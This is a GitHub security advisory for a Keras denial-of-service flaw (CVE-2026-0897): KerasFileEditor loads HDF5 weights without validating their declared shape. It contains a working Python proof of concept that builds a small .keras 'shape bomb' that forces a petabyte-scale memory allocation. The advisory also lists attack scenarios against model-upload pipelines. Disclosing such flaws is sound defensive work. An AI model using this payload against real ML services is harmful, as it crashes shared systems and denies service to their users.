Skip to content

Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)

High severity GitHub Reviewed Published Apr 29, 2026 in keras-team/keras • Updated May 6, 2026

Package

pip keras (pip)

Affected versions

>= 3.0.0, <= 3.12.0
>= 3.13.0, < 3.13.2

Patched versions

3.12.1
3.13.2

Description

Summary

Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading,
Keras executes:
python result[key] = value[()] # loads entire dataset into memory
value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.

Proof of Concept

// PoC.py
import zipfile
import io
import h5py
import numpy as np
from keras.saving import KerasFileEditor

# Create a malicious .keras model containing a massive HDF5 shape bomb
def create_malicious_keras(path="bomb.keras"):
    hdf5_bytes = io.BytesIO()

    # Create an HDF5 file with a huge declared dataset shape
    with h5py.File(hdf5_bytes, "w") as f:
        d = f.create_dataset(
            "payload",
            shape=(50_000_000, 50_000_000),    # Extremely large shape → petabytes on load
            dtype="float32",
            compression="gzip",
            compression_opts=9
        )
        # Write minimal data so the file stays very small
        d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)

    hdf5_bytes.seek(0)

    # Build a valid .keras archive structure
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("config.json", "{}")
        z.writestr("metadata.json", "{}")
        z.writestr("model.weights.h5", hdf5_bytes.getvalue())

# Generate the malicious model file
create_malicious_keras()

# Trigger the DoS vulnerability when Keras loads the malicious file
KerasFileEditor("bomb.keras")

Expected Result

numpy._core._exceptions._ArrayMemoryError:
Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000)

This crash occurs before any actual model processing, confirming the Denial-of-Service impact.

Impact

This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.

The attacker can:

  • Cause immediate memory exhaustion (8+ PiB allocation attempts)
  • Crash TensorFlow / Python interpreter
  • Kill Jupyter kernels
  • Break automated model-upload pipelines
  • Crash MLOps servers that process user models
  • Deny service to shared GPU/CPU environments

If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector.
Additional PoC Evidence (Video Demonstration)
Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.

PoC Video (Google Drive):
PoC Video

Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files
Vector: Malicious metadata causing extreme tensor shape inflation
Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process
Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services

Demonstration:
The PoC video shows the crash occurring on Google Colab.
Loading the malicious model consumed all system RAM and repeatedly terminated the runtime.
Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests.
With larger payloads, this would instantly exhaust resources in real production pipelines.

References

@hertschuh hertschuh published to keras-team/keras Apr 29, 2026
Published to the GitHub Advisory Database May 6, 2026
Reviewed May 6, 2026
Last updated May 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-0897

GHSA ID

GHSA-mgx6-5cf9-rr43

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.